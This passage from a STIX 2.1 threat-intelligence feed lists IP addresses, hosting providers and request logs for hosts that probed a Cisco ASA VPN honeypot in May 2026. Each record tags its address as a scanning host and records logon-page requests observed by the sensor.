        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-08T14:31:55.909Z",
          "last_seen": "2026-05-28T01:23:05.585Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--7f0c374a-c353-4e3b-9392-0ef227c70663",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-20T15:01:48.320Z",
          "last_seen": "2026-05-31T00:48:03.604Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--89f62eb1-563d-46c7-be77-b57faaaf7ee1",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.131.100.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--fffc8ed8-e4e1-45e9-b8c1-091646f99528",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T00:59:23.387Z",
          "last_seen": "2026-05-25T09:13:59.973Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--67f3f38c-7f8f-41d0-bf84-5ffb671f5a4c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-19T04:22:16.032Z",
          "last_seen": "2026-05-25T22:57:39.443Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--d0993109-f955-470b-a67c-0d3dafd9e487",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T14:09:21.223Z",
          "last_seen": "2026-05-30T12:30:14.813Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--512d9d46-9033-482f-89ed-c494da2e965d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T18:28:50.612Z",
          "last_seen": "2026-05-30T11:35:39.423Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: BR; ASN 28267 (LANTEC COMUNICACAO MULTIMIDIA LTDA)",
      "id": "indicator--482d75be-57a7-485e-a733-5f7f1c5eb6f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '187.108.1.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-03T15:35:19.911Z",
          "last_seen": "2026-05-14T07:01:51.532Z",
          "country": "Brazil",
          "country_code": "BR",
          "asn": 28267,
          "as_org": "LANTEC COMUNICACAO MULTIMIDIA LTDA",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--7cfd0647-ab1a-4b15-bab6-d2db4a6071e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T13:56:22.628Z",
          "last_seen": "2026-05-31T01:07:03.409Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--15342043-cf46-477f-a159-907dfe3e2f75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-02T02:07:03.092Z",
          "last_seen": "2026-05-02T02:07:13.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--97a36d74-dc6f-49d3-adf5-542b41d575f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T05:30:14.707Z",
          "last_seen": "2026-05-05T05:45:52.234Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d52883f9-34c0-492a-bdbd-aa56757e9e2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-14T03:01:50.100Z",
          "last_seen": "2026-05-30T13:00:39.195Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--692d43ca-b084-4dcb-82c7-ee1eb9919c38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-06T02:20:28.125Z",
          "last_seen": "2026-05-29T11:26:51.096Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ac3016ac-f2f9-42d2-bae8-1f6519b139f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-06T01:37:21.939Z",
          "last_seen": "2026-05-06T01:37:29.723Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f89a55bb-7a02-4e45-a2b4-309a1d335124",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T02:58:30.741Z",
          "last_seen": "2026-05-29T23:53:04.238Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8e372383-481f-4d75-adad-901ae48c3d66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-10T06:42:15.391Z",
          "last_seen": "2026-05-26T10:49:27.301Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c91b51f3-58af-4b8a-aaa5-e927592fff82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:20:10.000Z",
      "valid_until": "2026-06-02T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-23T09:34:12.419Z",
          "last_seen": "2026-05-23T09:50:49.602Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--3b9fc713-21df-4f36-848e-38584528cf58",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-19T00:45:53.411Z",
          "last_seen": "2026-05-31T04:39:26.727Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d8120c3-5a58-4bb0-9cf5-1215632ed421",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-22T13:34:48.767Z",
          "last_seen": "2026-05-31T02:40:16.054Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6381fbe7-3fb3-4bac-98cb-c98507b7af46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T20:54:20.521Z",
          "last_seen": "2026-05-27T13:46:05.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--437719fa-c0f1-4362-85b6-13ad411fbc2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-06T02:42:08.821Z",
          "last_seen": "2026-05-07T08:11:08.733Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
